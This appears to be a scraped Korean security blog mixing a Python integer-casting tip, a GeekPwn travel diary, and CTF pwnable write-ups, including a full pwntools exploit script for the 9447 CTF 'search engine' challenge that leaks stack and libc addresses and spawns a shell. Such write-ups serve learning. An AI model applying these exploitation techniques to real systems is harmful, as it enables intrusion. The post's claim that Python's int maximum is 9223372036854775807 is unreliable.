https://gist.github.com/crixpwn/bffd4f6b3c8e44e12188aedb992d3c20

대회를 위해 찾은 버그인데 몇주 전 확인해보니 패치되었다. 그래서 걍 공개했는데, 블로그에도 공개해둠. 당시에 허탈감이 심해서 + 귀찮아서 번역기 써서 공개함 대충 읽어보니 크게 틀린 문장은 없는거 같아서 그대로 둠.


python에서의 인트의 최대 값은 9223372036854775807이다. 따라서 python에서의 int값은 C언어에서의 int형의 최대값을 넘어도 표현이 가능하며 C에서처럼 음수로 표현되지 않는다.


문제를 풀다가 C처럼 음수로 표현되는 캐스팅 방법이 필요했는데 검색해도 나오지 않아 방법을 생각해봤다.


이것은 음수로 표현하기 위한 방법 중 하나이다.


 0xFFFFFFFF - 원하는 값 하고 앞에 -를 붙히면된다.


ex) 0xFFFFFFFF - 0xF75e5000

val = 0xFFFFFFFF - 0xF75e5000
val = -val
print val


'잡담' 카테고리의 다른 글

파이썬에서 int 최댓값 넘는 값을 음수로 반환.  (0) 2017.07.24
GeekPwn 후기  (0) 2017.05.16
2017년 목표  (0) 2017.01.08
마지막 300점 짜리 포너블 문제의 경우 커맨드 인젝션이 있었고 필터링을 우회해서 플래그 읽으면 된다.

'Pwned > CTF' 카테고리의 다른 글

Hust 15th pwnables write up  (0) 2017.05.28
codegate 2017 messenger  (0) 2017.02.15
codegate 2017 babypwn  (0) 2017.02.14
9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08

Geekpwn 후기.

 

 홍콩에서 있었던 이야기를 제외한 GeekPwn에서의 이야기만 이야기하자면, Geekpwn 등록 후 CCTV 관계자분이 와서 인터뷰 좋았다고 대학 안 갔냐고 물어보길래 어설픈 영어로 대답했던 아주 작은 사건 하나가 있었고 지친 상태에서 맥북을 만지고 있었더니 촬영한다고 하길래 가서 사진 촬영 이벤트를 했다.

그 후 촬영 이벤트가 끝나니 홍콩 채널 중 하나인 TVB에서 명함을 건네오며 인터뷰를 하고 싶다길래, 영어 잘 못한다고 솔직하게 말했다.

 리포트가 아주 간단한 질문이라길래, 조금 고민하다가 수락했는데 간단한 질문은아니었음ㅋㅋㅋㅋ그래서 더듬 더듬거리면서 대답을 했는데, 제대로 된 인터뷰가 되기는커녕.. 아마 이 분량은 버려졌을 거라고 100% 확신한다. (나중에 자세히 이야기하겠지만 Geekpwn끝나고 인터뷰 또 함)

 그렇게 해서 사진 이벤트가 끝나고 여권검사하고, 뭐 짐 검사하고 이것저것해서 크루즈에 승선 후 방에 가려고 했더니 중간중간에 들어 갈 때마다 촬영하는 사람있었고 방에서의 촬영을 하고 싶다길래 OK하고 그냥 갔더니 방 들어가는거 촬영하더라…… 그리고 뭐하는지도끄응 여기서부터 부담이 되더라..

 암튼 그렇게 해서 밥 먹고, 대충 디바이스 체크와 져지(judge)들과의 기술 대화가 있었고, (영어를 못하니 이야기가 짧더라, 이미 문서를 대략적으로 써 간것도 있고 해서 빨리끝남 ㅋㅋㅋ) 어떤 취약점들이 있고, 그래서 서브미션 못하느냐에 질문에 할 수 있다고 대답한 후 문서 복사해달라길래 OK하고 문서 복사하고 올라오니 130분쯤이더라.

 씻고 와이파이 238 홍콩달러에 하루치 구매하고 필요한 일 처리함.. 비싸더라 238홍콩달러 실화?

 그리고 당일 날 자고 일어나니 9시 조금 넘은 시점에서 다른 참가자들은 뭐 하는지 봤더니, 샤오미 전동휠, 스마트홈, 공유기, 스마트 밴드, 스마트폰 등등을 타켓으로 했더라. 내가 타켓을 두 개 잡았는데 그 두개 포함 완벽하게 타켓이 겹치는 팀도 있더라 ㅋㅋ

 암튼 나는 오후 3번째 차례라 해서 긴장되는마음으로 페북하고 그랬는데, 결론적으로 준비를 덜 해 가서 서브미션 하나 실패함.

 시연할 때 도 두번째 서브미션 제대로 안돼서 다른 참가자들 시연할 동안 시간을 주더라. 이 떄도 커뮤니케이션에 힘듬을 느끼며 져지들이 통역 가능한 한국인 없냐고 물어보더랔ㅋㅋㅋ 얼마나 답답했으면ㅋㅋㅋㅋㅋㅋㅋㅋ 그래서 왜안되는지 분석해보면서 잠깐앉아있는데 한국인 분이 오셔서 뭐가안되냐고 물어보시길래 처음엔 기자인줄 알았다. 남편분이 중국분인데 따라오신 분이더라. 이 분 덕분에 다소원활하게 커뮤니케이션하며 두 번째 서브미션 끝내고 내려오고 져지 한 명이 취약점 하나가 이해가 안간다고 나를 불러서 이것저것 물어보더라 그리고 그거 끝나고 나서 Keenlab CEOAI관련 해서 뭐 작은 발표하나 했었는데 중국말로 해서 1도 못 알아 들었음. 아무튼 그게 끝나고 나서 상금 받고, TVB과의 인터뷰를 했다.

 대충 질문 내용은 왜 참가 했는지, 한국은 왜 보안 인재 양성에 투자하는가, 왜 비오비에 갔는가왜 화이트 해커가 됐는가, 대학에선 어떻게 공부 했는지( 대학 안가서 혼자 공부했다고 했음)어떤 식으로 비오비교육하는가, 준비는 얼마나 했는지, 한국에 해커는 몇 명이 있는지 대략 이 정도였던 것 같음.

 이 후로 대회가 끝나고 중국인 석사 친구가 이메일을 물어 보길래 이메일을 불러 주었고, 그리고 우리 인터뷰 도와준 부부분들도 이메일 받아가셨고, 화웨이 분도와 나는 이렇게 이메일을 요청하는 사람이 있을 줄 상상도 못했는데 무지 신기하더라.

 geekpwn파티도 있었는데 다 중국인들이라 별로 친해지지 못했고 시스코를 타켓으로 한 러시아 친구랑 영어로 좀 얘기했는데, 나중에는 LG에서 오신 분이랑 얘기 나누면서 자러 갔음.

 대충 후기는 여기까지 인 거 같고, GeekPwn 수류탄 트로피 때문에 6만원 씀 하돈 아까워 죽는줄 알았음(9KG라 추가 수화물됨…)

 


'잡담' 카테고리의 다른 글

파이썬에서 int 최댓값 넘는 값을 음수로 반환.  (0) 2017.07.24
GeekPwn 후기  (0) 2017.05.16
2017년 목표  (0) 2017.01.08

messenger


unsafe_unlink 문제인데 약간 꼼수를 썼다.


시나리오는 다음과 같이 세우고 익스플로잇을 했다.


1. heap의 주소를 릭. -> 힙 내부에 힙 주소를 지닌 값이 있으므로 인덱스 하나를 변경 해 힙 주소 바로 전 까지 이어 붙히면 같이 출력 되므로 힙 베이스를 얻을 수 있다.


2. 인덱스 삭제 -> 인덱스 삭제 시 printf@got를 힙 주소로 변경했다. 다만 힙 주소로 리턴을 해도 바로 쉘 코드를 이용 할 수 없는데 그 이유는 fd의 주소가 bk + 8의 주소로 남기 때문이었다. 따라서 이 것을 피해 쉘코드를 실행 하기 위해 jmp 0x16 즉 \xeb\x16를 이용했다. 이것의 아이디어는 seh overwrite를 했던 경험에서 얻었다 ㅋㅋ


3. shellcode 삽입 -> 쉘 획득




'Pwned > CTF' 카테고리의 다른 글

Hust 15th pwnables write up  (0) 2017.05.28
codegate 2017 messenger  (0) 2017.02.15
codegate 2017 babypwn  (0) 2017.02.14
9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08

codegate 2017년 문제인 babypwn이다. 


취약점도 매우 간단한데 익스플로잇이 생각만큼 잘 되지 않아 금방 풀지는 못 했다.


이유는 리다이렉션때문으로, 쉘을 제대로 얻을 수 없었기 때문이다.



'Pwned > CTF' 카테고리의 다른 글

Hust 15th pwnables write up  (0) 2017.05.28
codegate 2017 messenger  (0) 2017.02.15
codegate 2017 babypwn  (0) 2017.02.14
9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08

from pwn import *

from hexdump import *


import time


p = process("./search")


def stack_leak():

p.sendline("A" * 48)

p.sendline("B" * 48)


p.recvuntil("B" * 48)


stack_base = u64(p.recv(6) + "\x00\x00")

log.info("stack: " + hex(stack_base + 32))


return stack_base


def index(data):

p.sendline("2")

p.sendline(str(len(data)))

time.sleep(0.1)

p.sendline(data)


p.recvuntil("Quit\n")


def search(data, delete = False):

p.sendline("1")

p.sendline(str(len(data)))

time.sleep(0.1)

p.sendline(data)


while True:

if p.recvuntil("Found", timeout = 0.8) is not  "":

if delete == True:

p.sendline("y")

else:

p.sendline("n")

elif p.recvuntil("Found", timeout = 1.0) is "":

break


p.recvuntil("Quit\n")


def heap_leak(data):

p.sendline("1")

p.sendline("6")

p.sendline(data)


p.recvuntil("Found 32: ")


heaptr = u64(p.recv(4) + "\x00" * 4)

heap_base = heaptr & ~0xff

log.info("heap base: " + hex(heap_base))


p.sendline("n")


p.recvuntil("Quit\n")


return heap_base


def libc_leak(data):

p.sendline("1")

p.sendline(str(len(data)))

p.sendline(data)


p.recvuntil("Found 512: ")


libc_leak = u64(p.recv(6) + "\x00\x00")

libc_base = libc_leak - 0x2047b8 - 0x1ba000

log.info("libc base: " + hex(libc_base))


p.sendline("n")

p.sendline("n")

p.sendline("n")


p.recvuntil("Quit\n")


return libc_base


def pwn(stack_base, libc_base):

index("A" * 51 + " some")

index("B" * 51 + " some")

index("C" * 51 + " some")


search("some", delete = True)


p.sendline("1")

p.sendline("4")

p.sendline("\0" * 4)

p.sendline("y")

p.sendline("n")

p.recvuntil("Quit\n")


index(p64(stack_base + 0x52).ljust(50, "\0") + " pwned")


index("D" * 50 + " pwend")

index("E" * 50 + " pwned")


index("W" * 6 + p64(0x400896) * 3 + p64(libc_base + 0x4647C).ljust(56, "G"))


#p.sendline("3")

p.interactive()


def main():

stack_base = stack_leak()


index("A" * 25 + " plays")

index("B" * 25 + " plays")

index("C" * 32)


search("plays", delete = True)


#heap_base = heap_leak("\0" * 6)


index(("A" * 256 + " pwning ").ljust(512, "B"))


search("pwning", delete = True)


libc_base = libc_leak("\0" * 6)


pwn(stack_base, libc_base)


if __name__ =='__main__':

main()


문제 진짜 잘 만든거 같다. 


fake chunk 만드는 거 잘 안되서 와업 보고 풀었는데 내일 이거 다시 짜봐야겠다. 흠....

'Pwned > CTF' 카테고리의 다른 글

codegate 2017 messenger  (0) 2017.02.15
codegate 2017 babypwn  (0) 2017.02.14
9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08
H3XOR CTF Be rich  (0) 2017.01.07

solo



 write up보고 풀었다.. 힙어렵다 ㅠ



'Pwned > CTF' 카테고리의 다른 글

codegate 2017 babypwn  (0) 2017.02.14
9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08
H3XOR CTF Be rich  (0) 2017.01.07
HolyShield 7 pwn 100  (0) 2017.01.06

ez_heap


'Pwned > CTF' 카테고리의 다른 글

9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08
H3XOR CTF Be rich  (0) 2017.01.07
HolyShield 7 pwn 100  (0) 2017.01.06
2017 bob ctf casino  (0) 2017.01.05

+ Recent posts